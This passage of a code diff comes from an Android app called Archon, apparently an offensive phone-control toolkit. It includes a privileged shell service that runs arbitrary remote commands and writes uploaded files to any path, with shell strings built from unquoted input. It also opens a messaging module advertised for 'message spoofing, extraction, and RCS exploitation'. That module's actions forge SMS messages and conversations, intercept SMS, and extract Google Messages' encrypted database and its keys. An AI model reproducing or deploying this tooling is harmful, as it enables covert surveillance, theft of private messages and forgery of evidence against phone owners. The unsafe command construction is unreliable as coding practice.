",\"size\":" + file.length() + "}";
|
||||
writer.println(meta);
|
||||
writer.flush();
|
||||
} else {
|
||||
sendResult(writer, id, "", "Failed to read file", -1);
|
||||
}
|
||||
}
|
||||
|
||||
private static void handleUpload(PrintWriter writer, String id, String path, String data) {
|
||||
if (path == null || path.isEmpty()) {
|
||||
sendResult(writer, id, "", "No path specified", -1);
|
||||
return;
|
||||
}
|
||||
if (data == null || data.isEmpty()) {
|
||||
sendResult(writer, id, "", "No data specified", -1);
|
||||
return;
|
||||
}
|
||||
|
||||
// Write base64 data to temp file, then decode to destination
|
||||
String tmpFile = "/data/local/tmp/archon_upload_tmp";
|
||||
try {
|
||||
FileWriter fw = new FileWriter(tmpFile);
|
||||
fw.write(data);
|
||||
fw.close();
|
||||
|
||||
String result = quickExec("base64 -d " + tmpFile + " > '" + path.replace("'", "'\\''") + "' 2>&1", 30);
|
||||
quickExec("rm " + tmpFile, 5);
|
||||
|
||||
File dest = new File(path);
|
||||
if (dest.exists()) {
|
||||
sendResult(writer, id, "Uploaded " + dest.length() + " bytes to " + path, "", 0);
|
||||
} else {
|
||||
sendResult(writer, id, "", "Upload failed: " + (result != null ? result : "unknown"), -1);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
sendResult(writer, id, "", "Upload error: " + e.getMessage(), -1);
|
||||
}
|
||||
}
|
||||
|
||||
// ── Command execution ──────────────────────────────────────────
|
||||
|
||||
private static boolean isBlocked(String cmd) {
|
||||
String lower = cmd.toLowerCase(Locale.ROOT).trim();
|
||||
for (String pattern : BLOCKED_PATTERNS) {
|
||||
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static String executeCommand(String cmd, int timeoutSec) {
|
||||
try {
|
||||
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
|
||||
pb.redirectErrorStream(false);
|
||||
Process process = pb.start();
|
||||
|
||||
StringBuilder stdout = new StringBuilder();
|
||||
StringBuilder stderr = new StringBuilder();
|
||||
|
||||
Thread stdoutThread = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (stdout.length() > 0) stdout.append("\n");
|
||||
stdout.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
|
||||
Thread stderrThread = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (stderr.length() > 0) stderr.append("\n");
|
||||
stderr.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
|
||||
stdoutThread.start();
|
||||
stderrThread.start();
|
||||
|
||||
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
|
||||
|
||||
if (!completed) {
|
||||
process.destroyForcibly();
|
||||
stdoutThread.join(1000);
|
||||
stderrThread.join(1000);
|
||||
return jsonResult(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
|
||||
}
|
||||
|
||||
stdoutThread.join(5000);
|
||||
stderrThread.join(5000);
|
||||
|
||||
return jsonResult(stdout.toString(), stderr.toString(), process.exitValue());
|
||||
|
||||
} catch (Exception e) {
|
||||
return jsonResult("", "Execution error: " + e.getMessage(), -1);
|
||||
}
|
||||
}
|
||||
|
||||
/** Quick exec for internal use — returns stdout or null on failure. */
|
||||
private static String quickExec(String cmd, int timeoutSec) {
|
||||
try {
|
||||
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
|
||||
pb.redirectErrorStream(true);
|
||||
Process process = pb.start();
|
||||
|
||||
StringBuilder output = new StringBuilder();
|
||||
Thread reader = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (output.length() > 0) output.append("\n");
|
||||
output.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
reader.start();
|
||||
|
||||
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
|
||||
if (!completed) {
|
||||
process.destroyForcibly();
|
||||
}
|
||||
reader.join(2000);
|
||||
return output.toString();
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static String getSystemProp(String key, String defaultVal) {
|
||||
String result = quickExec("getprop " + key, 5);
|
||||
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
|
||||
}
|
||||
|
||||
private static String readFile(String path, String defaultVal) {
|
||||
String result = quickExec("cat " + path + " 2>/dev/null", 5);
|
||||
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
|
||||
}
|
||||
|
||||
// ── JSON helpers ───────────────────────────────────────────────
|
||||
|
||||
private static void sendResult(PrintWriter writer, String id, String stdout, String stderr, int exitCode) {
|
||||
String msg = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
|
||||
",\"stdout\":" + jsonEscape(stdout) +
|
||||
",\"stderr\":" + jsonEscape(stderr) +
|
||||
",\"exit_code\":" + exitCode + "}";
|
||||
writer.println(msg);
|
||||
writer.flush();
|
||||
}
|
||||
|
||||
private static String jsonResult(String stdout, String stderr, int exitCode) {
|
||||
return "{\"type\":\"result\",\"stdout\":" + jsonEscape(stdout) +
|
||||
",\"stderr\":" + jsonEscape(stderr) +
|
||||
",\"exit_code\":" + exitCode + "}";
|
||||
}
|
||||
|
||||
private static String addId(String jsonResult, String id) {
|
||||
if (id == null || id.isEmpty()) return jsonResult;
|
||||
// Insert id field after opening brace
|
||||
return "{\"type\":\"result\",\"id\":" + jsonEscape(id) + "," + jsonResult.substring(1);
|
||||
}
|
||||
|
||||
private static String jsonEscape(String s) {
|
||||
if (s == null) return "\"\"";
|
||||
StringBuilder sb = new StringBuilder("\"");
|
||||
for (int i = 0; i < s.length(); i++) {
|
||||
char c = s.charAt(i);
|
||||
switch (c) {
|
||||
case '"': sb.append("\\\""); break;
|
||||
case '\\': sb.append("\\\\"); break;
|
||||
case '\b': sb.append("\\b"); break;
|
||||
case '\f': sb.append("\\f"); break;
|
||||
case '\n': sb.append("\\n"); break;
|
||||
case '\r': sb.append("\\r"); break;
|
||||
case '\t': sb.append("\\t"); break;
|
||||
default:
|
||||
if (c < 0x20) {
|
||||
sb.append(String.format("\\u%04x", (int) c));
|
||||
} else {
|
||||
sb.append(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
sb.append("\"");
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static String extractJsonString(String json, String key) {
|
||||
String search = "\"" + key + "\"";
|
||||
int idx = json.indexOf(search);
|
||||
if (idx < 0) return null;
|
||||
|
||||
idx = json.indexOf(':', idx + search.length());
|
||||
if (idx < 0) return null;
|
||||
idx++;
|
||||
|
||||
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||
if (idx >= json.length() || json.charAt(idx) != '"') return null;
|
||||
idx++;
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while (idx < json.length()) {
|
||||
char c = json.charAt(idx);
|
||||
if (c == '\\' && idx + 1 < json.length()) {
|
||||
char next = json.charAt(idx + 1);
|
||||
switch (next) {
|
||||
case '"': sb.append('"'); break;
|
||||
case '\\': sb.append('\\'); break;
|
||||
case 'n': sb.append('\n'); break;
|
||||
case 'r': sb.append('\r'); break;
|
||||
case 't': sb.append('\t'); break;
|
||||
default: sb.append(next); break;
|
||||
}
|
||||
idx += 2;
|
||||
} else if (c == '"') {
|
||||
break;
|
||||
} else {
|
||||
sb.append(c);
|
||||
idx++;
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static int extractJsonInt(String json, String key, int defaultVal) {
|
||||
String search = "\"" + key + "\"";
|
||||
int idx = json.indexOf(search);
|
||||
if (idx < 0) return defaultVal;
|
||||
|
||||
idx = json.indexOf(':', idx + search.length());
|
||||
if (idx < 0) return defaultVal;
|
||||
idx++;
|
||||
|
||||
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
|
||||
sb.append(json.charAt(idx));
|
||||
idx++;
|
||||
}
|
||||
|
||||
try {
|
||||
return Integer.parseInt(sb.toString());
|
||||
} catch (NumberFormatException e) {
|
||||
return defaultVal;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Logging ────────────────────────────────────────────────────
|
||||
|
||||
private static void log(String msg) {
|
||||
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
|
||||
String line = timestamp + " [" + TAG + "] " + msg;
|
||||
System.out.println(line);
|
||||
|
||||
try {
|
||||
FileWriter fw = new FileWriter(LOG_FILE, true);
|
||||
fw.write(line + "\n");
|
||||
fw.close();
|
||||
} catch (IOException ignored) {}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
package com.darkhal.archon
|
||||
|
||||
import android.content.Intent
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
import com.darkhal.archon.service.DiscoveryManager
|
||||
import com.darkhal.archon.util.AuthManager
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import com.google.android.material.textfield.TextInputEditText
|
||||
|
||||
class LoginActivity : AppCompatActivity() {
|
||||
|
||||
private lateinit var inputServerIp: TextInputEditText
|
||||
private lateinit var inputPort: TextInputEditText
|
||||
private lateinit var inputUsername: TextInputEditText
|
||||
private lateinit var inputPassword: TextInputEditText
|
||||
private lateinit var statusText: TextView
|
||||
private lateinit var btnLogin: MaterialButton
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
|
||||
// If already logged in, skip to main
|
||||
if (AuthManager.isLoggedIn(this)) {
|
||||
// Quick session check in background, but go to main immediately
|
||||
startMain()
|
||||
return
|
||||
}
|
||||
|
||||
setContentView(R.layout.activity_login)
|
||||
|
||||
inputServerIp = findViewById(R.id.input_login_server_ip)
|
||||
inputPort = findViewById(R.id.input_login_port)
|
||||
inputUsername = findViewById(R.id.input_login_username)
|
||||
inputPassword = findViewById(R.id.input_login_password)
|
||||
statusText = findViewById(R.id.login_status)
|
||||
btnLogin = findViewById(R.id.btn_login)
|
||||
|
||||
// Pre-fill from saved settings
|
||||
val savedIp = PrefsManager.getServerIp(this)
|
||||
if (savedIp.isNotEmpty()) {
|
||||
inputServerIp.setText(savedIp)
|
||||
}
|
||||
inputPort.setText(PrefsManager.getWebPort(this).toString())
|
||||
|
||||
val savedUser = AuthManager.getUsername(this)
|
||||
if (savedUser.isNotEmpty()) {
|
||||
inputUsername.setText(savedUser)
|
||||
}
|
||||
|
||||
btnLogin.setOnClickListener { doLogin() }
|
||||
|
||||
findViewById<MaterialButton>(R.id.btn_login_detect).setOnClickListener {
|
||||
autoDetect(it as MaterialButton)
|
||||
}
|
||||
|
||||
findViewById<MaterialButton>(R.id.btn_login_skip).setOnClickListener {
|
||||
startMain()
|
||||
}
|
||||
}
|
||||
|
||||
private fun doLogin() {
|
||||
val serverIp = inputServerIp.text.toString().trim()
|
||||
val port = inputPort.text.toString().trim().toIntOrNull() ?: 8181
|
||||
val username = inputUsername.text.toString().trim()
|
||||
val password = inputPassword.text.toString().trim()
|
||||
|
||||
if (serverIp.isEmpty()) {
|
||||
statusText.text = "Enter server IP or tap AUTO-DETECT"
|
||||
return
|
||||
}
|
||||
if (username.isEmpty() || password.isEmpty()) {
|
||||
statusText.text = "Enter username and password"
|
||||
return
|
||||
}
|
||||
|
||||
// Save server settings
|
||||
PrefsManager.setServerIp(this, serverIp)
|
||||
PrefsManager.setWebPort(this, port)
|
||||
|
||||
btnLogin.isEnabled = false
|
||||
btnLogin.text = "LOGGING IN..."
|
||||
statusText.text = "Connecting to $serverIp:$port..."
|
||||
|
||||
Thread {
|
||||
val result = AuthManager.login(this@LoginActivity, username, password)
|
||||
|
||||
handler.post {
|
||||
btnLogin.isEnabled = true
|
||||
btnLogin.text = "LOGIN"
|
||||
|
||||
if (result.success) {
|
||||
Toast.makeText(this@LoginActivity, "Logged in", Toast.LENGTH_SHORT).show()
|
||||
startMain()
|
||||
} else {
|
||||
statusText.text = result.message
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun autoDetect(btn: MaterialButton) {
|
||||
btn.isEnabled = false
|
||||
btn.text = "SCANNING..."
|
||||
statusText.text = "Scanning for AUTARCH server..."
|
||||
|
||||
val discovery = DiscoveryManager(this)
|
||||
discovery.listener = object : DiscoveryManager.Listener {
|
||||
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
|
||||
discovery.stopDiscovery()
|
||||
handler.post {
|
||||
if (server.ip.isNotEmpty()) {
|
||||
inputServerIp.setText(server.ip)
|
||||
}
|
||||
if (server.port > 0) {
|
||||
inputPort.setText(server.port.toString())
|
||||
}
|
||||
statusText.text = "Found ${server.hostname} at ${server.ip}:${server.port}"
|
||||
btn.isEnabled = true
|
||||
btn.text = "AUTO-DETECT"
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
|
||||
|
||||
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
|
||||
handler.post {
|
||||
if (discovery.getDiscoveredServers().isEmpty()) {
|
||||
statusText.text = "No AUTARCH server found on network"
|
||||
}
|
||||
btn.isEnabled = true
|
||||
btn.text = "AUTO-DETECT"
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
|
||||
}
|
||||
discovery.startDiscovery()
|
||||
}
|
||||
|
||||
private fun startMain() {
|
||||
startActivity(Intent(this, MainActivity::class.java))
|
||||
finish()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package com.darkhal.archon
|
||||
|
||||
import android.os.Bundle
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
import androidx.navigation.fragment.NavHostFragment
|
||||
import androidx.navigation.ui.setupWithNavController
|
||||
import com.darkhal.archon.messaging.MessagingModule
|
||||
import com.darkhal.archon.module.ModuleManager
|
||||
import com.google.android.material.bottomnavigation.BottomNavigationView
|
||||
|
||||
class MainActivity : AppCompatActivity() {
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
setContentView(R.layout.activity_main)
|
||||
|
||||
// Initialize module registry
|
||||
ModuleManager.init()
|
||||
|
||||
// Register SMS/RCS messaging module
|
||||
ModuleManager.register(MessagingModule())
|
||||
|
||||
val navHostFragment = supportFragmentManager
|
||||
.findFragmentById(R.id.nav_host_fragment) as NavHostFragment
|
||||
val navController = navHostFragment.navController
|
||||
|
||||
val bottomNav = findViewById<BottomNavigationView>(R.id.bottom_nav)
|
||||
bottomNav.setupWithNavController(navController)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,283 @@
|
||||
package com.darkhal.archon.messaging
|
||||
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import androidx.recyclerview.widget.RecyclerView
|
||||
import com.darkhal.archon.R
|
||||
import java.text.SimpleDateFormat
|
||||
import java.util.Calendar
|
||||
import java.util.Date
|
||||
import java.util.Locale
|
||||
import java.util.concurrent.TimeUnit
|
||||
|
||||
/**
|
||||
* RecyclerView adapter for the conversation list view.
|
||||
* Shows each conversation with contact avatar, name/number, snippet, date, and unread badge.
|
||||
*/
|
||||
class ConversationAdapter(
|
||||
private val conversations: MutableList<MessagingRepository.Conversation>,
|
||||
private val onClick: (MessagingRepository.Conversation) -> Unit
|
||||
) : RecyclerView.Adapter<ConversationAdapter.ViewHolder>() {
|
||||
|
||||
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
|
||||
val avatarText: TextView = itemView.findViewById(R.id.avatar_text)
|
||||
val avatarBg: View = itemView.findViewById(R.id.avatar_bg)
|
||||
val contactName: TextView = itemView.findViewById(R.id.contact_name)
|
||||
val snippet: TextView = itemView.findViewById(R.id.message_snippet)
|
||||
val dateText: TextView = itemView.findViewById(R.id.conversation_date)
|
||||
val unreadBadge: TextView = itemView.findViewById(R.id.unread_badge)
|
||||
|
||||
init {
|
||||
itemView.setOnClickListener {
|
||||
val pos = adapterPosition
|
||||
if (pos != RecyclerView.NO_POSITION) {
|
||||
onClick(conversations[pos])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
|
||||
val view = LayoutInflater.from(parent.context)
|
||||
.inflate(R.layout.item_conversation, parent, false)
|
||||
return ViewHolder(view)
|
||||
}
|
||||
|
||||
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
|
||||
val conv = conversations[position]
|
||||
|
||||
// Avatar — first letter of contact name or number
|
||||
val displayName = conv.contactName ?: conv.address
|
||||
val initial = displayName.firstOrNull()?.uppercase() ?: "#"
|
||||
holder.avatarText.text = initial
|
||||
|
||||
// Avatar background color — deterministic based on address
|
||||
val avatarDrawable = GradientDrawable()
|
||||
avatarDrawable.shape = GradientDrawable.OVAL
|
||||
avatarDrawable.setColor(getAvatarColor(conv.address))
|
||||
holder.avatarBg.background = avatarDrawable
|
||||
|
||||
// Contact name / phone number
|
||||
holder.contactName.text = displayName
|
||||
|
||||
// Snippet (most recent message)
|
||||
holder.snippet.text = conv.snippet
|
||||
|
||||
// Date
|
||||
holder.dateText.text = formatConversationDate(conv.date)
|
||||
|
||||
// Unread badge
|
||||
if (conv.unreadCount > 0) {
|
||||
holder.unreadBadge.visibility = View.VISIBLE
|
||||
holder.unreadBadge.text = if (conv.unreadCount > 99) "99+" else conv.unreadCount.toString()
|
||||
} else {
|
||||
holder.unreadBadge.visibility = View.GONE
|
||||
}
|
||||
}
|
||||
|
||||
override fun getItemCount(): Int = conversations.size
|
||||
|
||||
fun updateData(newConversations: List<MessagingRepository.Conversation>) {
|
||||
conversations.clear()
|
||||
conversations.addAll(newConversations)
|
||||
notifyDataSetChanged()
|
||||
}
|
||||
|
||||
/**
|
||||
* Format date for conversation list display.
|
||||
* Today: show time (3:45 PM), This week: show day (Mon), Older: show date (12/25).
|
||||
*/
|
||||
private fun formatConversationDate(timestamp: Long): String {
|
||||
if (timestamp <= 0) return ""
|
||||
|
||||
val now = System.currentTimeMillis()
|
||||
val diff = now - timestamp
|
||||
val date = Date(timestamp)
|
||||
|
||||
val today = Calendar.getInstance()
|
||||
today.set(Calendar.HOUR_OF_DAY, 0)
|
||||
today.set(Calendar.MINUTE, 0)
|
||||
today.set(Calendar.SECOND, 0)
|
||||
today.set(Calendar.MILLISECOND, 0)
|
||||
|
||||
return when {
|
||||
timestamp >= today.timeInMillis -> {
|
||||
// Today — show time
|
||||
SimpleDateFormat("h:mm a", Locale.US).format(date)
|
||||
}
|
||||
diff < TimeUnit.DAYS.toMillis(7) -> {
|
||||
// This week — show day name
|
||||
SimpleDateFormat("EEE", Locale.US).format(date)
|
||||
}
|
||||
diff < TimeUnit.DAYS.toMillis(365) -> {
|
||||
// This year — show month/day
|
||||
SimpleDateFormat("MMM d", Locale.US).format(date)
|
||||
}
|
||||
else -> {
|
||||
// Older — show full date
|
||||
SimpleDateFormat("M/d/yy", Locale.US).format(date)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate a deterministic color for a contact's avatar based on their address.
|
||||
*/
|
||||
private fun getAvatarColor(address: String): Int {
|
||||
val colors = intArrayOf(
|
||||
Color.parseColor("#E91E63"), // Pink
|
||||
Color.parseColor("#9C27B0"), // Purple
|
||||
Color.parseColor("#673AB7"), // Deep Purple
|
||||
Color.parseColor("#3F51B5"), // Indigo
|
||||
Color.parseColor("#2196F3"), // Blue
|
||||
Color.parseColor("#009688"), // Teal
|
||||
Color.parseColor("#4CAF50"), // Green
|
||||
Color.parseColor("#FF9800"), // Orange
|
||||
Color.parseColor("#795548"), // Brown
|
||||
Color.parseColor("#607D8B"), // Blue Grey
|
||||
)
|
||||
val hash = address.hashCode().let { if (it < 0) -it else it }
|
||||
return colors[hash % colors.size]
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* RecyclerView adapter for the message thread view.
|
||||
* Shows messages as chat bubbles — sent aligned right (accent), received aligned left (gray).
|
||||
*/
|
||||
class MessageAdapter(
|
||||
private val messages: MutableList<MessagingRepository.Message>,
|
||||
private val onLongClick: (MessagingRepository.Message) -> Unit
|
||||
) : RecyclerView.Adapter<MessageAdapter.ViewHolder>() {
|
||||
|
||||
companion object {
|
||||
private const val VIEW_TYPE_SENT = 0
|
||||
private const val VIEW_TYPE_RECEIVED = 1
|
||||
}
|
||||
|
||||
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
|
||||
val bubbleBody: TextView = itemView.findViewById(R.id.bubble_body)
|
||||
val bubbleTime: TextView = itemView.findViewById(R.id.bubble_time)
|
||||
val bubbleStatus: TextView? = itemView.findViewOrNull(R.id.bubble_status)
|
||||
val rcsIndicator: TextView? = itemView.findViewOrNull(R.id.rcs_indicator)
|
||||
|
||||
init {
|
||||
itemView.setOnLongClickListener {
|
||||
val pos = adapterPosition
|
||||
if (pos != RecyclerView.NO_POSITION) {
|
||||
onLongClick(messages[pos])
|
||||
}
|
||||
true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun getItemViewType(position: Int): Int {
|
||||
val msg = messages[position]
|
||||
return when (msg.type) {
|
||||
MessagingRepository.MESSAGE_TYPE_SENT,
|
||||
MessagingRepository.MESSAGE_TYPE_OUTBOX,
|
||||
MessagingRepository.MESSAGE_TYPE_QUEUED,
|
||||
MessagingRepository.MESSAGE_TYPE_FAILED -> VIEW_TYPE_SENT
|
||||
else -> VIEW_TYPE_RECEIVED
|
||||
}
|
||||
}
|
||||
|
||||
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
|
||||
val layoutRes = if (viewType == VIEW_TYPE_SENT) {
|
||||
R.layout.item_message_sent
|
||||
} else {
|
||||
R.layout.item_message_received
|
||||
}
|
||||
val view = LayoutInflater.from(parent.context).inflate(layoutRes, parent, false)
|
||||
return ViewHolder(view)
|
||||
}
|
||||
|
||||
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
|
||||
val msg = messages[position]
|
||||
|
||||
// Message body
|
||||
holder.bubbleBody.text = msg.body
|
||||
|
||||
// Timestamp
|
||||
holder.bubbleTime.text = formatMessageTime(msg.date)
|
||||
|
||||
// Delivery status (sent messages only)
|
||||
holder.bubbleStatus?.let { statusView ->
|
||||
if (msg.type == MessagingRepository.MESSAGE_TYPE_SENT) {
|
||||
statusView.visibility = View.VISIBLE
|
||||
statusView.text = when (msg.status) {
|
||||
-1 -> "" // No status
|
||||
0 -> "Sent"
|
||||
32 -> "Delivered"
|
||||
64 -> "Failed"
|
||||
else -> ""
|
||||
}
|
||||
} else {
|
||||
statusView.visibility = View.GONE
|
||||
}
|
||||
}
|
||||
|
||||
// RCS indicator
|
||||
holder.rcsIndicator?.let { indicator ->
|
||||
if (msg.isRcs) {
|
||||
indicator.visibility = View.VISIBLE
|
||||
indicator.text = "RCS"
|
||||
} else if (msg.isMms) {
|
||||
indicator.visibility = View.VISIBLE
|
||||
indicator.text = "MMS"
|
||||
} else {
|
||||
indicator.visibility = View.GONE
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun getItemCount(): Int = messages.size
|
||||
|
||||
fun updateData(newMessages: List<MessagingRepository.Message>) {
|
||||
messages.clear()
|
||||
messages.addAll(newMessages)
|
||||
notifyDataSetChanged()
|
||||
}
|
||||
|
||||
fun addMessage(message: MessagingRepository.Message) {
|
||||
messages.add(message)
|
||||
notifyItemInserted(messages.size - 1)
|
||||
}
|
||||
|
||||
/**
|
||||
* Format timestamp for individual messages.
|
||||
* Shows time for today, date+time for older messages.
|
||||
*/
|
||||
private fun formatMessageTime(timestamp: Long): String {
|
||||
if (timestamp <= 0) return ""
|
||||
|
||||
val date = Date(timestamp)
|
||||
val today = Calendar.getInstance()
|
||||
today.set(Calendar.HOUR_OF_DAY, 0)
|
||||
today.set(Calendar.MINUTE, 0)
|
||||
today.set(Calendar.SECOND, 0)
|
||||
today.set(Calendar.MILLISECOND, 0)
|
||||
|
||||
return if (timestamp >= today.timeInMillis) {
|
||||
SimpleDateFormat("h:mm a", Locale.US).format(date)
|
||||
} else {
|
||||
SimpleDateFormat("MMM d, h:mm a", Locale.US).format(date)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extension to safely find a view that may not exist in all layout variants.
|
||||
*/
|
||||
private fun View.findViewOrNull(id: Int): TextView? {
|
||||
return try {
|
||||
findViewById(id)
|
||||
} catch (e: Exception) {
|
||||
null
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,522 @@
|
||||
package com.darkhal.archon.messaging
|
||||
|
||||
import android.content.Context
|
||||
import android.os.Environment
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.module.ArchonModule
|
||||
import com.darkhal.archon.module.ModuleAction
|
||||
import com.darkhal.archon.module.ModuleResult
|
||||
import com.darkhal.archon.module.ModuleStatus
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import java.io.File
|
||||
import java.text.SimpleDateFormat
|
||||
import java.util.Date
|
||||
import java.util.Locale
|
||||
|
||||
/**
|
||||
* SMS/RCS Tools module — message spoofing, extraction, and RCS exploitation.
|
||||
*
|
||||
* Provides actions for:
|
||||
* - Setting/restoring default SMS app role
|
||||
* - Exporting all messages or specific threads
|
||||
* - Forging (inserting fake) messages and conversations
|
||||
* - Searching message content
|
||||
* - Checking RCS status and capabilities
|
||||
* - Shizuku integration status
|
||||
* - SMS interception toggle
|
||||
*
|
||||
* All elevated operations route through ShizukuManager (which itself
|
||||
* falls back to PrivilegeManager's escalation chain).
|
||||
*/
|
||||
class MessagingModule : ArchonModule {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "MessagingModule"
|
||||
}
|
||||
|
||||
override val id = "messaging"
|
||||
override val name = "SMS/RCS Tools"
|
||||
override val description = "Message spoofing, extraction, and RCS exploitation"
|
||||
override val version = "1.0"
|
||||
|
||||
override fun getActions(): List<ModuleAction> = listOf(
|
||||
ModuleAction(
|
||||
id = "become_default",
|
||||
name = "Become Default SMS",
|
||||
description = "Set Archon as default SMS app (via Shizuku or role request)",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "restore_default",
|
||||
name = "Restore Default SMS",
|
||||
description = "Restore previous default SMS app",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "export_all",
|
||||
name = "Export All Messages",
|
||||
description = "Export all SMS/MMS to XML backup file",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "export_thread",
|
||||
name = "Export Thread",
|
||||
description = "Export specific conversation (use export_thread:<threadId>)",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "forge_message",
|
||||
name = "Forge Message",
|
||||
description = "Insert a fake message (use forge_message:<address>:<body>:<type>)",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "forge_conversation",
|
||||
name = "Forge Conversation",
|
||||
description = "Create entire fake conversation (use forge_conversation:<address>)",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "search_messages",
|
||||
name = "Search Messages",
|
||||
description = "Search all messages by keyword (use search_messages:<query>)",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "rcs_status",
|
||||
name = "RCS Status",
|
||||
description = "Check RCS availability and capabilities",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "shizuku_status",
|
||||
name = "Shizuku Status",
|
||||
description = "Check Shizuku integration status and privilege level",
|
||||
privilegeRequired = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "intercept_mode",
|
||||
name = "Intercept Mode",
|
||||
description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)",
|
||||
privilegeRequired = true,
|
||||
rootOnly = false
|
||||
),
|
||||
ModuleAction(
|
||||
id = "rcs_account",
|
||||
name = "RCS Account Info",
|
||||
description = "Get Google Messages RCS registration, IMS state, and carrier config",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "extract_bugle_db",
|
||||
name = "Extract bugle_db",
|
||||
description = "Extract encrypted bugle_db + encryption key material from Google Messages",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "dump_decrypted",
|
||||
name = "Dump Decrypted Messages",
|
||||
description = "Query decrypted RCS/SMS messages from content providers and app context",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "extract_keys",
|
||||
name = "Extract Encryption Keys",
|
||||
description = "Extract bugle_db encryption key material from shared_prefs",
|
||||
privilegeRequired = true
|
||||
),
|
||||
ModuleAction(
|
||||
id = "gmsg_info",
|
||||
name = "Google Messages Info",
|
||||
description = "Get Google Messages version, UID, and RCS configuration",
|
||||
